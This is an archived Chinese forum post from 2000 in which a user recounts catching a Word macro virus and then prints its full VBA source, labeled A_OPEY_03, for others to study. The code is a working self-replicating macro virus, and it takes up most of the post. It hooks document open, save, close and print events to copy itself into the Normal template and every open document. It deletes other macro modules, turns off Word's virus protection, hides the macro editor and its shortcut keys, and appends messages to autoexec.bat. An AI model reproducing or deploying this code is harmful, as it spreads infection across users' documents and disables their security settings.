发信人: whc() 
整理人: fishy(2000-05-23 14:12:33), 站内信件
 | 
 
 
晚上我爸爸的学生用我的电脑看论文,结果竟然把他们学校公共
 鸡房的宏病毒带来了。
 一看不对,手头也没杀毒盘,就直接删VB代码了,删之前特地留个备份给大家研 究研究,
 编这病毒其实也挺简单的,一看就明白  -- 太可怕了 :O
 幸好这是个良性病毒。
 
 Attribute VB_Name = "A_OPEY_03"
 Sub greetings()
     On Error Resume Next
         autoexecfile$ = "c:\autoexec.bat"
         hFile = FreeFile
         line1$ = ""
             If ((Month(Date) = 12) And (Day(Date) = 25)) Or ((Month(Da te) = 1) And (Day(Date) = 1)) Then
                 line1$ = "echo MERRY CHRISTMASS AND A HAPPY NEW YEAR ! !!"
             End If
             If (Month(Date) = 11) And (Day(Date) = 1) Then
                 line1$ = "echo HAPPY HALLOWEEN !!!"
             End If
             If (Month(Date) = 2) And (Day(Date) = 14) Then
                 line1$ = "echo HAPPY VALENTINES DAY !!!"
             End If
                 If line1$ <> "" Then
                     Open autoexecfile$ For Append Access Write As hFil e
                         Print #hFile, "@echo off"
                         Print #hFile, line1$
                         Print #hFile, "echo from: OPEY A."
                         Print #hFile, "pause"
                     Close hFile
                 End If
 End Sub
 Sub OnlyYou()
   On Error Resume Next
     Call A_OPEY_03
     NTInfected = False
         For i = NormalTemplate.VBProject.VBComponents.Count To 1 Step  -1
             clan = NormalTemplate.VBProject.VBComponents(i).Name
                 If clan = "A_OPEY_03" Then NTInfected = True
                 If (clan <> "A_OPEY_03") And (clan <> "ThisDocument")  Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name :=clan, Object:=wdOrganizerObjectProjectItems
         Next i
         For Each opendoc In Documents
             ODInfected = False
             With opendoc
                 For j = opendoc.VBProject.VBComponents.Count To 1 Step  -1
                 clan = opendoc.VBProject.VBComponents(j).Name
                     If clan = "A_OPEY_03" Then ODInfected = True
                     If (clan <> "A_OPEY_03") And (clan <> "ThisDocumen t") And (clan <> "Reference to Normal") Then Application.OrganizerDele te Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProj ectItems
                 Next j
                 If ODInfected = False Then
                     Application.OrganizerCopy Source:=NormalTemplate.F ullName, Destination:=opendoc.FullName, Name:="A_OPEY_03", Object:=wdO rganizerObjectProjectItems
                     opendoc.SaveAs FileName:=opendoc.FullName
                 End If
             End With
         Next opendoc
             If NTInfected = False Then
                 Application.OrganizerCopy Source:=ActiveDocument.FullN ame, Destination:=NormalTemplate.FullName, Name:="A_OPEY_03", Object:= wdOrganizerObjectProjectItems
                 NormalTemplate.Save
             End If
     Call greetings
 End Sub
 Sub A_OPEY_03()
     On Error Resume Next
     Application.UserName = "OPEY A."
     Application.UserAddress = "CNNHS B'92 PHILIPPINES (CNSC)"
     Application.UserInitials = "LOVE"
     With Dialogs(wdDialogFileSummaryInfo)
         .Author = "OPEY A."
         .Title = "LOVE"
         .Execute
     End With
     With Options
         .ConfirmConversions = False
         .VirusProtection = False
         .SaveNormalPrompt = False
     End With
     With ActiveDocument
         .ReadOnlyRecommended = False
     End With
     On Error Resume Next
     CommandBars("Visual Basic").Visible = False
     CommandBars("Visual Basic").Enabled = False
     CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
     CommandBars("Visual Basic").Protection = msoBarNoCustomize
     CommandBars("Tools").Controls("Macro").Delete
     CommandBars("Tools").Controls("Customize...").Delete
     CustomizationContext = NormalTemplate
     FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
     FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
 End Sub
 Sub FileSave()
     On Error Resume Next
     Call OnlyYou
     ActiveDocument.Save
 End Sub
 Sub FileClose()
     On Error Resume Next
     Call OnlyYou
     If ActiveDocument.Saved = False Then ActiveDocument.Save
     ActiveDocument.Close
 End Sub
 Sub FileExit()
     On Error Resume Next
     Call OnlyYou
     If ActiveDocument.Saved = False Then ActiveDocument.Save
     Application.Quit
 End Sub
 Sub FileNew()
     On Error Resume Next
     Dialogs(wdDialogFileNew).Show
     newfile$ = 1
     Call OnlyYou
 End Sub
 Sub AutoOpen()
     On Error Resume Next
     Call OnlyYou
 End Sub
 Sub AutoExec()
     On Error Resume Next
     Call OnlyYou
 End Sub
 Sub FileSaveAs()
     On Error Resume Next
     Call OnlyYou
     Dialogs(wdDialogFileSaveAs).Show
 End Sub
 Sub FilePageSetup()
     On Error Resume Next
     Call OnlyYou
     Dialogs(wdDialogFilePageSetup).Show
 End Sub
 Sub fileprint()
     On Error Resume Next
     Call OnlyYou
     Dialogs(wdDialogFilePrint).Show
 End Sub
 Sub FileOpen()
     On Error Resume Next
     Dialogs(wdDialogFileOpen).Show
     Call OnlyYou
 End Sub
  -- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.106.227.69]
  | 
 
 
 |